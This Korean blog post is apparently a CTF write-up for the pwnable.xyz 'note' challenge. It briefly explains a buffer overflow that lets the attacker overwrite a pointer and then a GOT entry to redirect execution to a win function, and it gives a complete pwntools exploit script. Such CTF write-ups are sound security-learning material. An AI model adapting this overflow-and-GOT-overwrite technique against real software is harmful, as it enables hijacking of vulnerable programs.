- note를 수정하고
- desc 수정
- exit
원하는 만큼 길이만큼 데이터를 쓸 수 있다
buf에 저장된 주소에 데이터를 쓸 수 있다
edit_note에서 bof가 터져서 buf를 덮을 수 있다
edit_note로 buf를 원하는 함수의 got로 덮은 뒤 edit_desc로 got overwrite해서 win함수가 호출되도록해줬다
( 서버가 닫혀있다.... )
h4pum@ubuntu:~/wargame/pwnable_xyz/note_file$ cat exploit.py
from pwn import *
#p = remote("svc.pwnable.xyz", 30016)
p = process("./note")
win = 0x40093C
def edit_note(length, data):
p.recvuntil(b"> ")
p.sendline(b"1")
p.recvuntil(b"Note len? ")
p.sendline(length)
p.recvuntil(b"note: ")
p.send(data)
def edit_desc(data):
p.recvuntil(b"> ")
p.sendline(b"2")
p.recvuntil(b"desc: ")
p.sendline(data)
payload = b"A" * 0x20
payload += p64(0x601238)
edit_note(b"48", payload)
edit_desc(p64(win))
p.interactive()
'pwn > pwnable.xyz' 카테고리의 다른 글
pwnable.xyz / TLSv00 (0) | 2022.05.11 |
---|---|
pwnable.xyz / free spirit (0) | 2022.05.10 |
pwnable.xyz / two_target (0) | 2022.05.07 |
pwnable.xyz / xor (0) | 2022.05.06 |
pwnable.xyz/GrownUp (0) | 2022.02.14 |